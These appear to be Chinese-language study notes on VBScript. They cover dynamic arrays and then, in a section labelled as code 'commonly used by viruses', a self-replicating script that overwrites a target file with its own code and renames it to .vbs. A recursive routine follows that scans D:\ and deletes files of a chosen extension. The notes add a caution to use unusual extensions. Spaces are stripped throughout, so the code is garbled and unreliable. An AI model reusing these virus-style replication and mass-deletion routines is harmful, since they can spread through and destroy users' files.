VBS学习片段分析和总结.docx

(1)数组

DimMyArray()

ReDimMyArray(2,2,2)DimlengthMyArray(0,0,0)=我

MyArray(0,1,0)=要

MyArray(0,2,0)=学

MyArray(1,0,0)=我2

MyArray(1,1,0)=要2

MyArray(1,2,0)=学2

MyArray(2,0,0)=我3

MyArray(2,1,0)=要3

MyArray(2,2,0)=学3

MyArray(0,0,0)=我4

MyArray(0,0,1)=要4

MyArray(0,0,2)=学4ReDimPreserveMyArray(5)

如果使用了Preserve关键字，就只能调整数组最后维的大小，并且不能改变数组的维数。例如，如果数组只有一维，

就可以修改该数组的大小，因为该维是最后的也是仅有的一维。但是，如果数组有两个或更多维，就只能改变末维的

大小并保留数组内容。

不擦掉该数组中存在的数据，而增加动态数组的终止维数

MyArray(4)=测

MyArray(5)=试

length=UBound(MyArray)返回指定数组维数的最大可用下标Fori=0Tolength

MsgBoxMyArray(i)

ReDimMyArray(4)

length=UBound(MyArray)MsgBoxlength

Fori=0TolengthForj=0TolengthFork=0Tolength

MsgBoxMyArray(i,j,k)next

nextNext

（2）自复制文件VBS代码(病毒常用)

Setfso=createobject(scripting.filesystemobject)创建一个文件系统对象

setself=fso.opentextfile(WScript.ScriptFullName,1)

读打开当前文件（即病毒本身）vbscopy=self.readall

读取病毒全部代码到字符串变量vbscopy

Setap=fso.OpenTextFile(D:\22\a.txt,2,True)写打开目标文件，准备写入病毒代码

ap.writevbscopy将病毒代码覆盖目标文件

ap.close

setcop=fso.GetFile(D:\22\a.txt)得到目标文件路径cop.copy(cop.vbs)

创建另外一个病毒文件（以.vbs为后缀）cop.delete(true)

删除目标文件

递归查找文件

Setfso=CreateObject(scripting.filesystemobject)

Subscan(folder_)scan函数定义，

onerrorresumenext如果出现错误，直接跳过，防止弹出错误窗口setfolder_=fso.getfolder(folder_)

setfiles=folder_.files当前目录的所有文件集合foreachfileinfilesext=fso.GetExtensionName(file)

获取文件后缀

ext=lcase(ext)后缀名转换成小写字母

ifext=kkkkkthen如果后缀名是mp5，则进行感染。

请自己建立相应后缀名的文件，最好是非正常后缀名，以免破坏正常程序。

WScript.Echo(file)file.Delete

endIfNext

setsubfolders=folder_.subfolders

foreachsubfolderinsubfolders搜索其他目录；递归调用scan()

scan(subfolder)next

endSub

Callscan(D:\)

VBS获取主机名称dimWshNetwork

SetWshNetwork=WScript.CreateObject(WScript.Network)WScript.EchoComputerName=WshNetwork.ComputerName

查找父目录

Dimfso,folder_,subfolders,parfolder,ssss

Setfso=CreateObject(scripting.filesystemobject)folder_=D:\

Setfolder_=fso.GetFolder(folder_)Setsubfolders=folder_.SubFoldersSetparfolder=folder_.